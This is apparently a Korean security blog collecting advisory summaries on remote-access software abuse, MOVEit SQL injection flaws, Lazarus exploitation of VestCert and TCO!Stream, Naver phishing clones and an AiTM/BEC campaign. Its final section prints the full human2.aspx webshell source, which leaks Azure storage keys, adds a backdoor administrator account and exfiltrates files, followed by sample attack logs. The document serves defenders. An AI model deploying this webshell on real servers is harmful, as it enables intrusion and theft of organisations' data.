1. 개요

- 미국 CISA, FBI, NSA, MS-ISAC 및 이스라엘 INCD(Israel National Cyber ​​Directorate)에서 원격 엑세스 소프트웨어 보안 가이드 발표

- 공격자들은 합법적인 목적의 원격 엑세스 소프트웨어를 악용해 보안 장비의 탐지를 우회하여 침입하므로 관련 보안 강화 권고

 

2. 주요내용

- 원격 엑세스 소프트웨어는 합법적인 목적으로 서버 등에 설치되어 사용되므로 보안 소프트웨어에서 탐지되지 않음

- 공격자는 관련 도구를 사용해 LOTL(Living off the Land) 공격을 진행

LOTL(Living off the Land) 공격
- 자급자족식 공격
> 보안 솔루션의 성능이 향상됨에 따라 탐지를 우회하거나 보안 솔루션의 탐지 대상이 아닌 소프트웨어를 이용한 공격이 주목을 받으며 등장

-
 공격 대상 시스템에  미리 설치되어 있는 도구를 활용하여 공격을 수행하며, 합법적인 과정으로 자신의 행위를 숨길 수 있으며 탐지를 더욱 어렵게 만듦

> 윈도우 CMD, PowerShell 등의 합법적 도구 및 사용자가 설치한 취약점이 존재하는 소프트웨어 등을 공격에 이용

-
 다음과 같은 이점을 지님

① 보안 장비의 탐지를 우회할 수 있음: 정삭적인 툴로써 동작
② 공격 식별 감소: 기존 공격 툴의 경우 공격 시 관련된 시그니처 등 정보가 기록됨
③ 공격 준비 시간 감소: 이미 설치된 도구를 사용

- 대응방안
① MFA 적용
② 주기적 암호 변경
③ 관련 도구 사용 모니터링 및 로그 검토
④ 피싱메일, 문서 매크로 등 주의
⑤ 보안 소프트웨어 최신 업데이트 적용, 보안 기능 활성화 등

 

- 공격자는 초기 액세스, 지속성 유지, 추가 소프트웨어 및 도구 배포, 측면 이동 및 데이터 유출을 위해 원격 액세스 소프트웨어를 사용

> 랜섬웨어 및 특정 APT 그룹에서 자주 사용됨

> PowerShell 등의 명령줄 도구를 사용해 원격 엑세스 소프트웨어 에이전트를 배포하거나 기존에 설치되어 있는 원격 엑세스 소프트웨어 악용

> 원격 엑세스 멀웨어 등의 상용 침투 테스트 도구와 함께 원격 엑세스 소프트웨어를 사용해 여러 형태의 접근을 통해 지속성 유지

 

- 공격자가 주로 활용할 수 있는 원격 엑세스 소프트웨어는 다음과 같음

원격 엑세스 소프트웨어 도구
ConnectWise Control (formerly ScreenConnect) Pulseway
Anydesk RemotePC
Remote Utilities Kaseya
NetSupport GoToMyPC
Splashtop N-Able
Atera Bomgar
TeamViewer Zoho Assist
LogMeIn  

 

3. 권고사항

- 일반적인 표준을 기반으로 위럼 관리 전략 유지

- 현재 사용 중 이거나 사용 가능한 원격 엑세스 소프트웨어의 실행을 제한하는 어플리케이션 제어 구현

- 원격 엑세스 소프트웨어 사용과 관련된 로그 검토

- 네트워크를 분할하여 측면 이동을 최소화

- 원격 엑세스 소프트웨어가 사용하는 포트 및 프로토콜 차단 및 HTTPS 443을 통한 원격 트래픽 차단

- 원격 엑세스 소프트웨어가 업무적으로 필요한 경우 액세스 권한이 있는 모든 계정에 대해 MFA 적용

- 원격 엑세스 소프트웨어 계정의 권한을 최소한으로 설정

 

4. 참고

[1] https://www.cisa.gov/news-events/alerts/2023/06/06/cisa-and-partners-release-joint-guide-securing-remote-access-software
[2] https://www.cisa.gov/resources-tools/resources/guide-securing-remote-access-software

1. 개요

- CVE-2023-34362 이후 새로운 제로데이 취약점이 발견되는 중

 

2. 취약점

2.1 CVE-2023-35036

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-35036 [1]

- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점

- 공격자는 MOVEit Transfer 앱에 조작된 페이로드를 전달하여, 최종적으로 MOVEit DB 컨텐츠의 수정 및 공개가 가능

영향받는 저번
- MOVEit Transfer 2023.0.x (15.0.x)
- MOVEit Transfer 2022.1.x (14.1.x)
- MOVEit Transfer 2022.0.x (14.0.x)
- MOVEit Transfer 2021.1.x (13.1.x)
- MOVEit Transfer 2021.0.x (13.0.x)
- MOVEit Transfer 2020.1.x (12.1)
- MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전
- MOVEit Cloud

 

- 구체적인 PoC는 확인되지 않으나 아르헨티나 보안 연구원 MCKSys이 PoC 화면 공개 [2]

> 관련 내용 Github 업로드 예정

[사진 2] CVE-2023-35036 PoC 화면

 

- 현재 벤더사 홈페이를 통해 업데이트가 제공됨 [3]

> 해당 패치는 CVE-2023-34362 관련 패치를 포함한 패치

취약한 버전 패치 버전
MOVEit Transfer 2023.0.x (15.0.x) MOVEit Transfer 2023.0.2 (15.0.2)
MOVEit Transfer 2022.1.x (14.1.x) MOVEit Transfer 2022.1.6 (14.1.6)
MOVEit Transfer 2022.0.x (14.0.x) MOVEit Transfer 2022.0.5 (14.0.5)
MOVEit Transfer 2021.1.x (13.1.x) MOVEit Transfer 2021.1.5 (13.1.5)
MOVEit Transfer 2021.0.x (13.0.x) MOVEit Transfer 2021.0.7 (13.0.7)
MOVEit Transfer 2020.1.x (12.1) Progress 웹사이트 참고 [4]
MOVEit Transfer 2020.0.x (12.0) 및 이전 버전 가능한 상위 버전 [5]
MOVEit Cloud  14.1.6.97 또는 14.0.5.45
테스트버전: 15.0.2.39

 

2.2 CVE-2023-35708

[사진 3] https://nvd.nist.gov/vuln/detail/CVE-2023-35708 [6]

- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점

- 공격자는 권한 상승 및 이후 추가적인 익스플로잇이 가능해짐

- 구체적인 PoC는 확인되지 않음

영향받는 버전
- MOVEit Transfer 2023.0.x (15.0.x)  
- MOVEit Transfer 2022.1.x (14.1.x)  
- MOVEit Transfer 2022.0.x (14.0.x)  
- MOVEit Transfer 2021.1.x (13.1.x)  
- MOVEit Transfer 2021.0.x (13.0.x)  
- MOVEit Transfer 2020.1.x (12.1)  
- MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전
- MOVEit Cloud  

 

- 현재 벤더사 홈페이를 통해 업데이트가 제공됨 [7]

취약한 버전 패치 버전
MOVEit Transfer 2023.0.x (15.0.x) MOVEit Transfer 2023.03 (15.0.3)
MOVEit Transfer 2022.1.x (14.1.x) MOVEit Transfer 2022.1.7 (14.1.7)
MOVEit Transfer 2022.0.x (14.0.x) MOVEit Transfer 2022.0.6 (14.0.6)
MOVEit Transfer 2021.1.x (13.1.x) MOVEit Transfer 2021.1.6 (13.1.6)
MOVEit Transfer 2021.0.x (13.0.x) MOVEit Transfer 2021.0.8 (13.0.8)
MOVEit Transfer 2020.1.x (12.1) Progress 웹사이트 참고 [4]
MOVEit Transfer 2020.0.x (12.0) 및 이전 버전 가능한 상위 버전 [5]
MOVEit Cloud 14.1.6.97 또는 14.0.5.45
테스트버전: 15.0.2.39

 

- 업데이트 적용 불가 시 벤더사 권장 사항

> MOVEit Transfer의 HTTP 및 HTTPS 트래픽 비활성화

> 사용자의 경우 SFTP 및 FTP/s 프로토콜을 이용해 파일 전송 가능
> 관리자의 경우 원격 접속을 통해 서버에 접근한 후 hxxps://localhost/에 엑세스

 

3. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-35036
[2] https://twitter.com/MCKSysAr/status/1669175203690160128?ref_src=twsrc%5Etfw
[3] https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-CVE-2023-35036-June-9-2023
[4] https://community.progress.com/s/article/Vulnerability-May-2023-Fix-for-MOVEit-Transfer-2020-1-12-1
[5] https://community.progress.com/s/article/Upgrade-and-or-Migration-Guide-for-MOVEit-Automation-and-MOVEit-Transfer
[6] https://nvd.nist.gov/vuln/detail/CVE-2023-35708
[7] https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-15June2023

1. 개요

- 북한 Lazarus 해킹 그룹이 INISAFE CrossWeb EX, MagicLine4NX 외에도 VestCert, TCO!Stream 제로데이 취약점 악용

> INISAFE CrossWeb EX, MagicLine4NX 취약점 또한 공격에 지속적으로 활용

 

- VestCert: 예티소프트社에서 제작한 Non-ActiveX 방식의 웹 보안 소프트웨어(공인인증서 프로그램)

- TCO!Stream: (주)엠엘소프트社에서 제작한 자산관리 프로그램

> TCO!Stream은 서버-클라이언트로 구성

> 서버: 소프트웨어 배포 및 원격제어 등의 기능을 제공

> 클라이언트: 서버와 통신을 위해 항상 3511/TCP Listening 상태

 

- Lazarus는 지속해서 국내 사용 소프트웨어의 취약점을 찾아 공격에 악용하므로, 해당 소프트웨어를 사용할 경우 반드시 최신 버전 업데이트 적용

 

2 주요 내용

2.1 VestCert 취약점

- 공격자는 기업 내부로 최초 침입을 위해 워터링 홀 기법을 사용

① 사용자가 취약한 버전의 VestCert가 설치된 환경에서 감염된 웹 사이트에 접속

② VestCert의 써드파티 라이브러리 실행 취약점으로 인해 PowerShell 실행

③ PowerShell을 이용해 C2 서버 접속 및 악성코드 다운, 실행

워터링 홀(Watering Hole)
- 물웅덩이 근처에 매복해 먹잇감을 노리는 사자의 모습에서 유래
- 공격자는 대상에 대한 정보를 미리 수집하여, 자주 방문하는 웹 사이트를 알아낸 뒤 해당 사이트의 취약점을 이용해 침해하여 악성코드 업로드
- 피해자가 해당 웹 사이트에 접속할 경우 악성코드를 유포
- 특정대상을 대상으로 하거나, 해당 웹 사이트에 접속하는 모든 사용자들을 대상으로 할 수도 있음

써드파티 라이브러리 실행 취약점
- 써드파티(Third-party)란 제품이나 서비스의 개발과 관련하여 직접적으로 관련이 없는 외부 업체나 개인을 뜻 함
- 즉, 소프트웨어 개발에서 써드파티는 애플리케이션 개발자가 직접 개발하지 않은 외부 제공 요소
- 써드파티(Third-party) 라이브러리 실행 취약점은 애플리케이션에서 사용되는 외부 제공 라이브러리에 존재하는 보안 취약점을 의미

 

[사진 1] VestCert 취약점으로인해 실행된 악성코드를 다운로드하는 PowerShell 명령어

 

2.2 TCO!Stream

- 공격자는 최초 침입 후 내부 전파를 위해 TCO!Stream의 취약점을 이용

> 공격자는 자체 제작한 악성코드를 이용해 서버에서 특정 파일을 다운로드하고 실행하는 명령어를 생성하여 클라이언트에 전달

> 명령을 수신한 클라이언트는 서버에 접근해 악성파일을 다운로드 및 실행

 

- 공격자가 제작한 악성코드의 커맨드 라인은 다음과 같음

[사진 2] 커멘드 라인

 

파라미터 설명
<Malware> 악성 파일명 (MicrosoftVSA.bin, MicroForic.tlb, matrox86.bic, matrox86.tcm, matrox86.tcm, wincert.bin, mseng.bin)
<TCO DeviceID> TCO 서버의 Device ID
<Destination IP> 대상 클라이언트 시스템의 IP
<Destination Port> 대상 클라이언트 시스템의 포트 (3511)
<Job ID> 서버에서 사용되는 Job ID

 

- 악성코드 파일 배포 위치와 실행명령은 다음과 같음

> 배포 파일 위치: C:\Packages\<배포 모듈 이름>\<버전>\<최종 경로>\<배포 파일명>

> 실행 명령: loadconf.exe –rt5y65i8##7poi88++5t4t54t54t5n

> 해당 명령은 백도어 다운로더 loadconf.exe를 C:\Temp\ 경로에 다운로드하고 인자와 함께 실행시키는 명령

[사진 3] 복호화된 명령 中 일부

 

3. 대응방안

① 최신 버전 업데이트 적용

- 해당 취약점을 분석해 KISA와 관련 업체에 전달 및 현재는 패치가 완료된 상태

> 해당 소프트웨어들은 자동 업데이트가 적용되지 않는 소프트웨어로 업데이트를 적용하지 않은 환경이 많음

제품명 영향받는 버전 해결 버전
VestCert 2.3.6 ~ 2.5.29 2.5.30
TCO!stream 8.0.22.1115 이하 8.0.23.215

 

- 서비스 운영자: 벤더사를 통해 최신 버전 교체

- 서비스 이용자

> 작업관리자의 프로세스 탭에서 ① Goji → ② VestCert를 반드시 순서대로 종료

> [제어판]-[프로그램]-[프로그램 및 기능]에서 VestCert 버전 확인 후 제거 클릭

※ TCO!stream은 서비스 운영자가 최신버전으로 교체 시 자동 업데이트됨

> 이용 중인 금융사이트에 접속하여 해결된 버전의 프로그램 재설치

[사진 4] 삭제 방법

 

② 침해지표 보안 장비 적용

 

3. 참고

[1] https://asec.ahnlab.com/ko/53832/
[2] https://www.boannews.com/media/view.asp?idx=119059&page=1&kind=1
[3] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=4&categoryCode=&nttId=71008

1. 개요

- 국정원에서 북한에 의한 국내 포털사이트 '네이버' 사칭 피싱사이트 포착

- 지난 5월 북한의 국내 포털사이트(네이버, 다음 등) 사칭 주의 이후 두 번째 발표

- 기존 피싱 공격과 달리 실제 네이버 화면과 동일하여 사이트 외관만으로 구분 불가

 

2. 주요 내용

- 그동안 단순히 네이버 등 로그인 페이지만 복제하여 사용자들의 로그인을 유도해 계정 및 개인정보 탈취

[사진 1] 과거 북한 김수키 해킹 그룹이 생성한 국책연구기관 로그인 피싱 페이지

 

- 하지만, 최근 포털사이트 메인화면을 완전히 복제한 피싱 페이지가 확인됨

> 국정원에서 네이버 메인화면을 완전히 복제한 피싱 페이지 확인

> 정상적인 네이버 주소(www[.]naver[.]com)과 주소가 다름 Ex. www[.]naverportal[.]com

[사진 2] 정상 포털 화면(좌) 및 피싱 포털 화면(우) 비교

 

- 포털 메인화면뿐만 아니라 증권, 부동산, 뉴스 등 자주 사용하는 세부 메뉴까지 동일

[사진 3] 정상 포털 화면(좌) 및 피싱 포털 화면(우) 비교

 

- 피싱 사이트로 추가적인 접속을 막기위해, 관련 기관과 공유 및 접속 차단 조치 진행

> 북한 피싱사이트 서버가 해외에 있어 해외기관과의 정보공유를 통해 활동을 추적 중

> 피해 차단을 위해 다각적으로 대응할 계획

[사진 4] 현재 피싱 사이트 접속 불가

 

- 국정원은 포털사이트 사용시 국민들의 주의를 당부

> 포털 사이트 주소를 집적 입력하거나, 즐겨찾기에 등록 후 사용하는 것이 안전

> 북한발 공격이 점점 교묘해지고 있어, 개인의 범위에서부터 주의 필요

 

3. 참고

[1] https://www.nis.go.kr:4016/CM/1_4/view.do?seq=236&currentPage=1&selectBox=&searchKeyword=&fromDate=&toDate=
[2] https://www.boannews.com/media/view.asp?idx=119121&page=2&kind=1 

1. 개요 [1]

- Microsoft에서 은행 및 금융권을 대상으로 다단계 AiTM 피싱 및 BEC 공격에 대해 경고

- 은행 및 금융권과 파트너 관계에 있는 서드파티를 침해한 후 서드파티를 통해 공격 진행

- 서드파티와 피해자 간 신뢰 관계를 이용한 공격

[사진 1] 다단계 AiTM 및 BEC 공격

 

2. AiTM 공격 [2]

- 전통적인 피싱 공격은 공격자가 정상 사이트와 유사한 피싱 사이트를 구성하여 공격 대상에 메일 링크 등으로 전달

- 링크 등으로 피싱 사이트에 접속한 사용자가 입력한 계정 정보 등을 공격자가 탈취

> 발신 주소 확인, 링크 주소 확인, 첨부 파일 확인 주의 등의 보안 교육과 MFA를 적용하여 피싱 공격에 대응

> MFA를 사용하기 위해 피해자의 휴대폰 등에 물리적으로 접근이 가능해야 하며, 피싱 사이트에 MFA를 구현하는데 어려움이 있었기 때문에 어느정도 대응이 됨

 

- 공격자들은 이를 우회하고자 중간자 공격(MITM, Man-in-the-middle attack)을 피싱 공격에 접목하기 시작하였으며, 이를 AiTM(adversary-in-the-middle)이라 함

> 피싱 서버에 로그인 기능을 구현하지 않고, 중간자 역할(프록시 서버)을 수행

> 사용자는 실질적으로 정상 서버와 통신을하며, 로그인 및 MFA 진행

> 공격자는 중간에서 계정 정보, MFA 값, 쿠키 등을 탈취

> 관련 툴로는 Evilginx, Evilginx 2 등이 있음

※ Evilginx: 세션 쿠키, 계정 정보 등을 피싱하는 데 사용되는 중간자 공격 프레임워크

[사진 2] AiTM

2.1 공격 체인

[사진 3] AiTM 피싱 공격에서 BEC까지 공격 체인

① 서드파티 피싱메일 유포

> 최종 공격 대상과 파트너 관계인 서드파티로 위장하여 링크가 포함된 피싱메일 유포

 

② 링크 접속

> 공겨자는 Canva 서비스를 활용

> Canva를 활용해 가짜 OneDrive 문서 미리보기와 피싱 URL 링크를 보여주는 페이지를 호스팅

※ Canva: 프레젠테이션, 포스터, 문서 및 기타 시각 콘텐츠를 만들기 위해 사용되는 오스트레일리아의 그래픽 디자인 플랫폼

 

③ AiTM 공격

> URL에 접속하면 MS 로그인 페이지를 스푸핑한 피싱 페이지로 리다이렉션

> 해당 페이지에서 입력한 계정 정보 및 MFA, 세션 쿠키를 공격자가 탈취

 

④ 서비스 접속

> 앞선 과정에서 탈취한 쿠키 정보를 통해 로그인 및 MFA 인증을 우회

 

⑤ 추가 MFA 인증 수단 등록

> 탈취한 계정으로 접근하기 위해 새로운 MFA 인증 수단을 등록

 

⑥ 메일 수신 규칙 생성

> 공격자는 로그인 후 사용자의 메일함에서 수신 메일을 보관 폴더로 이동하고, 모든 메일을 읽음으로 표시하는 규칙 생성

 

⑦ 피싱 공격

> 공격자는 Canva URL을 일부 수정하여 대규모 피싱 공격을 수행

> 피해 사용자의 연락처를 통해 피싱 메일을 발송

 

⑧ BEC 공격

> 부재중 사용자(피싱 메일을 읽지 않은 사용자)로 확인된 경우 해당 메일 삭제

> 피싱 메일의 진위 여부와 관련된 질문을 수신한 경우 정상 메일이라고 응답 및 해당 메일 삭제

※ BEC 공격은 정당한 송신자로 위장하여 수신자를 속이는 방법이며, EAC 공격은 공격자가 실제 계정을 탈취하여 추가 공격을 진행하는 방법인데, 해당 경우에는 EAC 공격이 좀 더 적합한 것으로 판단됨.

 

⑨ 계정 도용

> 악성 URL에 접속한 사용자의 계정을 탈취하여 또 다른 공격에 사용

 

⑩ BEC 공격

> 앞선 BEC 공격과 동일한 방법으로 반복

 

3. 대응 방안

- 계정 정보 변경

> 비밀번호 변경, MFA 인증 수단 확인 등

 

- 조건부 액세스 정책 적용 [3]

> 조건부 액세스란 접속지 IP, 접속지 위치, 디바이스, 접속 어플리케이션 등을 종합적으로 평가하여 인증 여부 및 인증 수준 결정

 

- 지속적인 세션 검증 [4]

> 일반적으로 액세스 토큰은 1시간 동안 유효

> 해당 토큰이 만료될 경우 해당 세션이 유효한 세션인지 검증

 

- 피싱 방지 솔루션 도입 [5]

> Microsoft Defender SmartScreen의 경우 사용자가 방문하는 웹 페이지의 동작 및 보고된 동작과 비교

> 비교 결과를 통해 정상 사이트인지 악성(또는 유해) 사이트인지 경고를 발생

 

4. 참고

[1] https://www.microsoft.com/en-us/security/blog/2023/06/08/detecting-and-mitigating-a-multi-stage-aitm-phishing-and-bec-campaign/ 
[2] https://thehackernews.com/2023/06/microsoft-uncovers-banking-aitm.html?m=1
[3] https://learn.microsoft.com/ko-kr/azure/active-directory/conditional-access/overview?ocid=magicti_ta_learndoc
[4] https://learn.microsoft.com/ko-kr/azure/active-directory/conditional-access/concept-continuous-access-evaluation?ocid=magicti_ta_learndoc
[5] https://learn.microsoft.com/ko-kr/deployedge/microsoft-edge-security-smartscreen?ocid=magicti_ta_learndoc
[6] https://attack.mitre.org/techniques/T1557/
[7] https://www.boannews.com/media/view.asp?idx=119015
[8] https://www.xn--hy1b43d247a.com/initial-access/aitm

1. MOVEit Transfer [1]

- 중요한 데이터의 안전한 협업 및 자동화된 파일 전송기능을 제공하는 MFT(Managed File Transfer) 소프트웨어

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-34362#close [2]

- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점

- 해당 취약점을 악용해 웹쉘 업로드가 가능하며, 웹쉘을 통해 DB 조작, 정보 열람, 파일 다운로드 등 악성행위가 가능함

- MOVEit Transfer를 사용하는 기업은 전 세계 수천개가 넘으며, 이 중에는 BBC, 영국항공, 노바스코티아 주 정부가 포함되어 있음

- 현재 관련된 PoC 등은 확인되지 않으나, Huntress에서 관련 영상 공개 [3]

> 보안 업체가 Horizon3ai와 Rapid7가 각각 CVE-2023-34362의 익스플로잇 방법을 개발해 발표 [16][17][18]

영향받는 버전
- MOVEit Transfer 2023.0.0 (15.0)
- MOVEit Transfer 2022.1.x (14.1)
- MOVEit Transfer 2022.0.x (14.0)
- MOVEit Transfer 2021.1.x (13.1)
- MOVEit Transfer 2021.0.x (13.0)
- MOVEit Transfer 2020.1.x (12.1)
- MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전
- MOVEit Cloud

 

- 23.06.10 현재 인터넷에 노출된 MOVEit Transfer 인스턴스는 약 2,500개 [4]

[사진 2] Shodan 검색 결과

 

- GreyNoise에서는 CVE-2023-34362 관련 스캐너를 공개 [5]

[사진 3] GreyNoise의 CVE-2023-34362 관련 스캐너

 

2.1 CL0P 랜섬웨어 그룹 [6]

- MS에서 2023.06.02 CL0P 랜섬웨어 그룹의 소행으라고 밝혔으며, 06.05 CL0P이 블로그에 관련 성명을 게시

> 보안 외신 SC Media에 따르면 CL0P 랜섬웨어 그룹은 2021년부터 연구하였고, 그 기간 동안 여러 기업들을 해당 취약점을 이용해 침해

[사진 4] CL0P 랜섬웨어 그룹의 MOVEit 캠페인 관련 게시글

 

[사진 5] MOVEit 익스플로잇 타임라인

 

- 여러 보안 기업에서 분석한 결과 공격 흐름은 다음과 같음

① SQL Injection 취약점 악용

> SQL Injection 취약점을 이용해 웹쉘 human2.aspx 업로드

 

② 웹쉘 통신 및 악성 행위 수행 [7]

> "X-siLock-Comment" 헤더를 통해 웹쉘과 통신

헤더 옵션 설명
X-siLock-Step1 -1 - AppendHeader 응답 헤더를 통해 Azure 정보 유출
- MOVEit에 존재하는 모든 파일, 파일 소유자, 파일 사이즈 등의 정보를 GZIP으로 압축하여 반환
-2 - users 데이터베이스에서 RealName이 Health Check Service인 사용자 삭제
X-siLock-Step2
("folderid"  지정)
특정 값 지정 - 해당 값과 fileid값(X-siLock-Step3)이 지정 되었을 경우 해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL - 해당 값과 fileid 값(X-siLock-Step3)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을  시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
X-siLock-Step3
("fileid" 값 지정)
특정 값 지정 - 해당 값과 folderid값(X-siLock-Step2)이 지정 되었을 경우 해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL - 해당 값과 folderid값(X-siLock-Step2)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을  시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
<%@ Page Language="C#" %>

<%@ Import Namespace="MOVEit.DMZ.ClassLib" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Infrastructure.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Files" %>
<%@ Import Namespace="MOVEit.DMZ.Cryptography.Contracts" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Cryptography" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.FileSystem" %>
<%@ Import Namespace="MOVEit.DMZ.Core" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Users" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users.Enum" %>

<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>

<script runat="server">  
private Object connectDB() {
    var MySQLConnect = new DbConn(SystemSettings.DatabaseSettings());
    bool flag = false;
    string text = null;
    flag = MySQLConnect.Connect();
    if (!flag) {
        return text;
    }
    return MySQLConnect;
}
private Random random = new Random();
public string RandomString(int length) {
    const string chars = "abcdefghijklmnopqrstuvwxyz0123456789";
    return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray());
}
protected void Page_load(object sender, EventArgs e) {
    var pass = Request.Headers["X-siLock-Comment"];
    if (!String.Equals(pass, "REDACTEDREDACTEDREDACTEDREDACTED")) {
        Response.StatusCode = 404;
        return;
    }
    Response.AppendHeader("X-siLock-Comment", "comment");
    var instid = Request.Headers["X-siLock-Step1"];
    string x = null;
    DbConn MySQLConnect = null;
    var r = connectDB();
    if (r is String) {
        Response.Write("OpenConn: Could not connect to DB: " + r);
        return;
    }
    try {
        MySQLConnect = (DbConn) r;
        if (int.Parse(instid) == -1) {
            string azureAccout = SystemSettings.AzureBlobStorageAccount;
            string azureBlobKey = SystemSettings.AzureBlobKey;
            string azureBlobContainer = SystemSettings.AzureBlobContainer;
            Response.AppendHeader("AzureBlobStorageAccount", azureAccout);
            Response.AppendHeader("AzureBlobKey", azureBlobKey);
            Response.AppendHeader("AzureBlobContainer", azureBlobContainer);
            var query = "select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID";
            string reStr = "ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName\n";
            var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
            if (!set.EOF) {
                while (!set.EOF) {
                    reStr += String.Format("{0},{1},{2},{3},{4},{5},{6},{7}\n", set["ID"].Value, set["InstID"].Value, set["FolderID"].Value, set["FileSize"].Value, set["Name"].Value, set["uploader"].Value, set["FolderPath"].Value, set["fname"].Value);
                    set.MoveNext();
                }
            }
            reStr += "----------------------------------\nFolderID,InstID,FolderName,Owner,FolderPath\n";
            String query1 = "select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username";
            set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
            if (!set.EOF) {
                while (!set.EOF) {
                    reStr += String.Format("{0},{1},{2},{3},{4}\n", set["id"].Value, set["instID"].Value, set["name"].Value, set["owner"].Value, set["FolderPath"].Value);
                    set.MoveNext();
                }
            }
            reStr += "----------------------------------\nInstID,InstName,ShortName\n";
            query1 = "select id, name, shortname from institutions";
            set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
            if (!set.EOF) {
                while (!set.EOF) {
                    reStr += String.Format("{0},{1},{2}\n", set["ID"].Value, set["name"].Value, set["ShortName"].Value);
                    set.MoveNext();
                }
            }
            using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
                using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) {
                    writer.Write(reStr);
                }
            }
        } else if (int.Parse(instid) == -2) {
            var query = String.Format("Delete FROM users WHERE RealName='Health Check Service'");
            new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
        } else {
            var fileid = Request.Headers["X-siLock-Step3"];
            var folderid = Request.Headers["X-siLock-Step2"];
            if (fileid == null && folderid == null) {
                SessionIDManager Manager = new SessionIDManager();
                string NewID = Manager.CreateSessionID(Context);
                bool redirected = false;
                bool IsAdded = false;
                Manager.SaveSessionID(Context, NewID, out redirected, out IsAdded);
                string username = "";
                var query = String.Format("SELECT Username FROM users WHERE InstID={0} AND Permission=30 AND Status='active' and Deleted=0", int.Parse(instid));
                var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
                var query1 = "";
                if (!set.EOF) {
                    username = (String) set["Username"].Value;
                } else {
                    username = RandomString(16);
                    query1 += String.Format("INSERT INTO users (Username, LoginName, InstID, Permission, RealName, CreateStamp, CreateUsername, HomeFolder, LastLoginStamp, PasswordChangeStamp) values ('{0}','{1}',{2},{3},'{4}', CURRENT_TIMESTAMP,'Automation',(select id from folders where instID=0 and FolderPath='/'), CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);", username, "Health Check Service", int.Parse(instid), 30, "Health Check Service", "Automation", "Services");
                }
                query1 += String.Format("insert into activesessions (SessionID, Username, LastTouch, Timeout, IPAddress) VALUES ('{0}','{1}',CURRENT_TIMESTAMP, 9999, '127.0.0.1')", NewID, username);
                new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
            } else {
                DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid);
                SILGlobals siGlobs = new SILGlobals();
                siGlobs.FileSystemFactory.Create();
                EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create());
                Response.ContentType = "application/octet-stream";
                Response.AppendHeader("Content-Disposition", String.Format("attachment; filename={0}", fileid));
                using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
                    st.CopyTo(gzipStream);
                }
            }
        }
    } catch (Exception) {
        Response.StatusCode = 404;
        return;
    } finally {
        MySQLConnect.Disconnect();
    }
    return;
}
</script>

 

- 시나리오를 기반으로 침해를 테스트한 시스템의 로그를 검토한 결과 해당 공격과 관련된 로그는 다음과 유사할 것으로 판단 됨

2023-05-30 17:05:50 192.168.###.### GET / - 443 - 5.252.190.181 user-agent - 200
2023-05-30 17:06:00 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:00 192.168.###.### POST /api/v1/token - 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:02 192.168.###.### GET /api/v1/folders - 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:02 192.168.###.### POST /api/v1/folders/605824912/files uploadType=resumable 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:02 ::1 POST /machine2.aspx - 80 - ::1 CWinInetHTTPClient - 200
2023-05-30 17:06:02 192.168.###.### POST /moveitisapi/moveitisapi.dll action=m2 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:04 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.190.233 user-agent - 200
2023-05-30 17:06:08 192.168.###.### PUT /api/v1/folders/605824912/files uploadType=resumable&fileId=963061209 443 - 5.252.190.233 user-agent - 500
2023-05-30 17:06:08 ::1 POST /machine2.aspx - 80 - ::1 CWinInetHTTPClient - 200
2023-05-30 17:06:08 192.168.###.### POST /moveitisapi/moveitisapi.dll action=m2 443 - 5.252.190.233 user-agent - 200
